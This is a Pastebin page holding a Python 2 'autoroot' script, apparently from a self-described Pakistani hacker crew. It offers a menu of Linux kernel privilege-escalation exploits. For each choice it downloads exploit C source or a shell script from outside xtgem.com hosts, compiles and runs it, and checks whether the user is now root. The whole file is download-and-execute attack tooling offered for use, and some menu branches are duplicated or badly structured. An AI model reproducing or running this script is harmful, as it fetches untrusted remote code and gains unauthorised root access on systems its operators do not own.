Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Changing The Description of a tool Won't Make You a Programmer!
- # jutthaxor@gmail.com
- import os,urllib,sys
- print '''
- ____ ____ __ _ _ _ _ ____ __ __ __ ____ ____ ____ ____ __ _ _ ____ __ ____ __ __ ____
- (_ _)( __) / _\ ( \/ ) ( \/ )( _ \( ) / \( )(_ _)( __)( _ \/ ___) / _\ / )( \(_ _)/ \ ( _ \ / \ / \(_ _)
- )( ) _) / \/ \/ \ ) ( ) __// (_/\( O ))( )( ) _) ) /\___ \ / \) \/ ( )( ( O ) ) /( O )( O ) )(
- (__) (____)\_/\_/\_)(_/ (_/\_)(__) \____/ \__/(__) (__) (____)(__\_)(____/ \_/\_/\____/ (__) \__/ (__\_) \__/ \__/ (__)
- # Python Autoroot script
- # Author: Muhammad Adeel aka Innoxent Stoker
- # FB: facebook.com/xtoker
- # Mail: Jutthaxor@gmail.com
- # Greetz: *******************************************************************************
- *******************************************************************************
- ** Xploiters | Pakistan Haxors Crew |Hax Arena | Cba Team | Penta Sec **
- ** **
- ** **
- ** AnonGhost | MLA | And All Pakistani & Muslim HaxOrs **
- *******************************************************************************
- *******************************************************************************
- # We'll Keep Updating Script Aswell as we got Any Other Exploit.....
- # 1 - Linux Kernel 2.6.37-3-2013
- # 2 - Multi - 2005-13
- # 3 - Linux Kernel , 3.63.8.9-2013
- # 4 - AutoRoot, Multi 2003-2010
- # 5 - 3.4-2014 Exploit
- # 6 - Close
- '''
- # Welcome to the Original Game :D .....
- select = raw_input('Choose an Exploit: ')
- # First Try....
- if select == '1':
- link = 'http://expliters.xtgem.com/2.6.37-3-2013.c'
- try:
- stoker = urllib.urlopen(link)
- pakistani = open(link.split('/')[-1], 'w')
- pakistani.write(stoker.read())
- pakistani.close()
- stoker.close()
- except:
- print("\tExploit Downloading Failed.\n")
- try:
- os.system("gcc -o 2.6.37-3-2013 2.6.37-3-2013.c")
- os.system("./2.6.37-3-2013")
- uid = os.getuid()
- if uid == 0:
- print("\t[*] Rooted SuccesFully.")
- else:
- print("[*] Exploit Fail.")
- except:
- print("\nExploit Execution Error Occured. Try Another one!")
- # Second Try....
- elif select == '2':
- link = 'http://expliters.xtgem.com/exploit.c'
- try:
- stoker = urllib.urlopen(link)
- pakistani = open(link.split('/')[-1], 'w')
- pakistani.write(stoker.read())
- pakistani.close()
- stoker.close()
- except:
- print("\tExploit Downloading Failed.\n")
- try:
- os.system("gcc -o exploit exploit.c")
- os.system("./exploit")
- uid = os.getuid()
- if uid == 0:
- print("\t[*] Rooted SuccesFully.")
- else:
- print("[*] Exploit Fail.")
- except:
- print("\nExploit Execution Error Occured. Try Another one!")
- # Third Try....
- elif select == '3':
- link = 'http://expliters.xtgem.com/3.63.8.9-2013.c'
- try:
- stoker = urllib.urlopen(link)
- pakistani = open(link.split('/')[-1], 'w')
- pakistani.write(stoker.read())
- pakistani.close()
- stoker.close()
- except:
- print("\tExploit Downloading Failed.\n")
- try:
- os.system("gcc -o 3.63.8.9-2013 3.63.8.9-2013.c")
- os.system("./3.63.8.9-2013")
- uid = os.getuid()
- if uid == 0:
- print("\n[*] Rooted SuccesFully.")
- else:
- print("[*] Exploit Fail.")
- except:
- print("\nExploit Execution Error Occured. Try Another one!")
- # Forth Try....
- elif select == '4':
- link = 'http://expliters.xtgem.com/autoroot.sh'
- try:
- stoker = urllib.urlopen(link)
- pakistani = open(link.split('/')[-1], 'w')
- pakistani.write(stoker.read())
- pakistani.close()
- stoker.close()
- except:
- print("\tExploit Downloading Failed.\n")
- try:
- os.system("sh autoroot.sh")
- uid = os.getuid()
- if uid == 0:
- print("\n[*] Rooted SuccesFully.")
- else:
- print("[*] Exploit Fail.")
- except:
- print("\nExploit Execution Error Occured. Try Another one!")
- elif select == '5':
- link = 'http://expliters.xtgem.com/autoroot.sh'
- try:
- stoker = urllib.urlopen(link)
- pakistani = open(link.split('/')[-1], 'w')
- pakistani.write(stoker.read())
- pakistani.close()
- stoker.close()
- except:
- print("\tExploit Downloading Failed.\n")
- try:
- os.system("sh autoroot.sh")
- uid = os.getuid()
- if uid == 0:
- print("\n[*] Rooted SuccesFully.")
- else:
- print("[*] Exploit Fail.")
- except:
- print("\nExploit Execution Error Occured. Try Another one!")
- if select == '5':
- link = 'http://toolsroom.xtgem.com/scanner/pwn.c'
- try:
- stoker = urllib.urlopen(link)
- pakistani = open(link.split('/')[-1], 'w')
- pakistani.write(stoker.read())
- pakistani.close()
- stoker.close()
- except:
- print("\tExploit Downloading Failed.\n")
- try:
- os.system("gcc -o pwn pwn.c")
- os.system("./pwn")
- uid = os.getuid()
- if uid == 0:
- print("\t[*] Rooted SuccesFully.")
- else:
- print("[*] Exploit Fail.")
- except:
- print("\nExploit Execution Error Occured. Try Another one!")
- # The End....
- else:
- print '''
- _____ _ _ ______ _____ _ _
- / __ \ | | | | | ___ \ / ___| | | |
- | / \/ ___ __| | ___ __| | | |_/ /_ _ \ `--.| |_ ___ | | _____ _ __
- | | / _ \ / _` |/ _ \/ _` | | ___ \ | | | `--. \ __/ _ \| |/ / _ \ '__|
- | \__/\ (_) | (_| | __/ (_| | | |_/ / |_| | /\__/ / || (_) | < __/ |
- \____/\___/ \__,_|\___|\__,_| \____/ \__, | \____/ \__\___/|_|\_\___|_|
- __/ |
- |___/
- '''
- ex = raw_input("Hit 'ENTER' to Exit.")
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement